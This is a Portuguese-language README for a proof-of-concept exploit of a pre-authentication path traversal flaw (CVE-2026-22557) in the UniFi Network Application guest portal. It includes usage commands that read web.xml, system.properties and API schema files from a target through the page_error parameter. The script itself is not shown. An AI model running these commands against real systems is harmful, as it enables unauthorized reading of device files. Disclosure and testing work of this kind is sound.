
PoC para Path Traversal Pré-Autenticação na UniFi Network Application (CVE-2026-22557)
Travessia de caminho pré-autenticada no portal de convidados do UniFi Network Application (/guest/s/{site}/login). O parâmetro de consulta page_error é passado a um carregador de recursos sem validação, permitindo que um atacante não autenticado leia arquivos do webapp (ex.: WEB-INF/web.xml).
Se a página do portal de convidados foi personalizada, o carregador de recursos parece recorrer a um ramo bruto de FileInputStream que pode acessar arquivos arbitrários no sistema subjacente fora do contexto raiz. Ainda não confirmei isso e investigarei mais a fundo se tiver tempo.
pip install requests
python CVE-2026-22557.py <target_url> [-f FILE] [-g GUEST_PATH] [-o OUTPUT] [-x PROXY]
| Flag | Descrição | Padrão |
|---|
target | URL do alvo (ex.: https://host:8843) | (obrigatório) |
-f | Caminho relativo a ler | ../../web.xml |
-g | Caminho do portal de convidados | /guest/s/default/login |
-o | Gravar resposta em arquivo | (stdout) |
-x | URL do proxy | (nenhum) |

# Padrão -- ler WEB-INF/web.xml (portal de convidados HTTPS)
python CVE-2026-22557.py https://192.168.1.1:8843
# Portal de convidados HTTP
python CVE-2026-22557.py http://192.168.1.1:8880
# Ler recurso do classpath
python CVE-2026-22557.py https://192.168.1.1:8843 -f ../system.properties
# Ler esquema da API e salvar em arquivo
python CVE-2026-22557.py https://192.168.1.1:8843 -f ../api/fields/Setting.json -o setting.json
# Nome de site diferente
python CVE-2026-22557.py https://192.168.1.1:8843 -g /guest/s/mysite/login
# Através de um proxy
python CVE-2026-22557.py https://192.168.1.1:8843 -x http://127.0.0.1:8080